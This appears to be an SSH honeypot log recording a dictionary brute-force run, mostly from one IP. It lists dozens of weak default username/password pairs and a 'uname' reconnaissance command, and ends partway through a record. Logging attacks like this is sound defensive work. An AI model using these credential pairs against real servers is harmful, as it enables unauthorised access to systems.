Adversarial Observation Interface

109.160.32.200

2026-09-23 19:49:00.194329 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test3

Record ID: a6a61fe6a1fc

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a6a61fe6a1fc",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:49:00.194329Z",
  "end_time": "2026-09-23T19:49:02.350456Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "test3",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:48:55.534614 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 1234567890

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 067093e51602

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "067093e51602",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:55.534614Z",
  "end_time": "2026-09-23T19:48:57.017010Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1234567890"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:48:50.915715 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 9a7565db0027

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9a7565db0027",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:50.915715Z",
  "end_time": "2026-09-23T19:48:52.321555Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:48:46.174957 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / q

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 716dcd0b070a

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "716dcd0b070a",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:46.174957Z",
  "end_time": "2026-09-23T19:48:47.751238Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "q"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:48:41.265720 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Pass1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: b661c954f0ba

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b661c954f0ba",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:41.265720Z",
  "end_time": "2026-09-23T19:48:42.663862Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Pass1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:48:36.740154 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: administrator

Record ID: 93ac588ce3be

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "93ac588ce3be",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:36.740154Z",
  "end_time": "2026-09-23T19:48:38.545697Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "administrator",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:48:31.957005 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 76543211

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e2fdc64328f9

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e2fdc64328f9",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:31.957005Z",
  "end_time": "2026-09-23T19:48:33.504928Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "76543211"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:48:27.126396 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo16

Record ID: 996ecbe8e7ea

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "996ecbe8e7ea",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:27.126396Z",
  "end_time": "2026-09-23T19:48:28.905288Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "odoo16",
      "pass": "odoo16"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:48:22.358377 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: test / test@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 7991fc222301

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7991fc222301",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:22.358377Z",
  "end_time": "2026-09-23T19:48:23.790946Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "test@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:48:17.746680 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 123admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 0aee35ec0b03

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0aee35ec0b03",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:17.746680Z",
  "end_time": "2026-09-23T19:48:19.026471Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123admin"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:48:13.079586 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: qw

Record ID: 645c88532b29

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "645c88532b29",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:13.079586Z",
  "end_time": "2026-09-23T19:48:14.893693Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "qw",
      "pass": "qw"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:48:08.062431 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: coder

Record ID: f92e71900daf

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f92e71900daf",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:08.062431Z",
  "end_time": "2026-09-23T19:48:10.256674Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "coder",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:48:03.225119 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo17

Record ID: abc99f31c689

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "abc99f31c689",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:48:03.225119Z",
  "end_time": "2026-09-23T19:48:05.354396Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "odoo17",
      "pass": "odoo17"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:47:58.404084 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1

Record ID: 3e0f79e77dab

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3e0f79e77dab",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:58.404084Z",
  "end_time": "2026-09-23T19:48:00.189476Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin1",
      "pass": "admin1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:47:53.354429 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: ftpuser / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 23904d4531c4

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "23904d4531c4",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:53.354429Z",
  "end_time": "2026-09-23T19:47:54.966082Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ftpuser",
    "pass": "123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:47:48.810263 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: riccardo

Record ID: 585dfbc3309b

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "585dfbc3309b",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:48.810263Z",
  "end_time": "2026-09-23T19:47:50.757851Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "riccardo",
      "pass": "riccardo"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:47:43.828600 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / 1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 2f5fb6b2d56b

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2f5fb6b2d56b",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:43.828600Z",
  "end_time": "2026-09-23T19:47:45.630650Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:47:39.030553 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trader

Record ID: ef3a0f187383

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ef3a0f187383",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:39.030553Z",
  "end_time": "2026-09-23T19:47:41.041683Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "trader",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:47:34.116311 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / qwe123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a38920c50c56

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a38920c50c56",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:34.116311Z",
  "end_time": "2026-09-23T19:47:35.460694Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "qwe123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:47:29.700270 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / helloworld

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 62aea2a0b3fe

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "62aea2a0b3fe",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:29.700270Z",
  "end_time": "2026-09-23T19:47:30.979231Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "helloworld"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:47:24.843304 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alex

Record ID: 637db03b4f0f

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "637db03b4f0f",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:24.843304Z",
  "end_time": "2026-09-23T19:47:26.671912Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "alex",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:47:20.019729 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: user / user

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 60c54f61a3e9

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "60c54f61a3e9",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:20.019729Z",
  "end_time": "2026-09-23T19:47:21.557457Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "user"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:47:14.978256 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student

Record ID: 58a4129d1388

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "58a4129d1388",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:14.978256Z",
  "end_time": "2026-09-23T19:47:17.257751Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "student",
      "pass": "student"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.200

2026-09-23 19:47:09.855220 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Aa123456@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 478c9f64ad62

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "478c9f64ad62",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:09.855220Z",
  "end_time": "2026-09-23T19:47:11.735978Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Aa123456@"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:47:04.721820 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 123654

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 39b5739b0681

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "39b5739b0681",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:47:04.721820Z",
  "end_time": "2026-09-23T19:47:07.040543Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123654"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:46:59.272683 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / ubuntu123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: ef72e3bee5e6

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ef72e3bee5e6",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:46:59.272683Z",
  "end_time": "2026-09-23T19:47:01.520678Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "ubuntu123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:46:53.769840 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / happy1314

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 02a13390d2f3

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "02a13390d2f3",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:46:53.769840Z",
  "end_time": "2026-09-23T19:46:56.134056Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "happy1314"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

109.160.32.200

2026-09-23 19:46:05.987422 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 59c4713f399b

Client Version: SSH-2.0-Go

Engagement Duration: 8.0s

HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227

{
  "id": "59c4713f399b",
  "src_ip": "109.160.32.200",
  "start_time": "2026-09-23T19:46:05.987422Z",
  "end_time": "2026-09-23T19:46:13.986561Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-09-23 19:44:56.944959 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 860453e142f1

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "860453e142f1",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-23T19:44:56.944959Z",
  "end_time": "2026-09-23T19:44:58.166442Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

23.94.28.169

2026-09-23 19:39:23.951592 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 32e93a850e28

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "32e93a850e28",
  "src_ip": "23.94.28.169",
  "start_time": "2026-09-23T19:39:23.951592Z",
  "end_time": "2026-09-23T19:39:24.014566Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
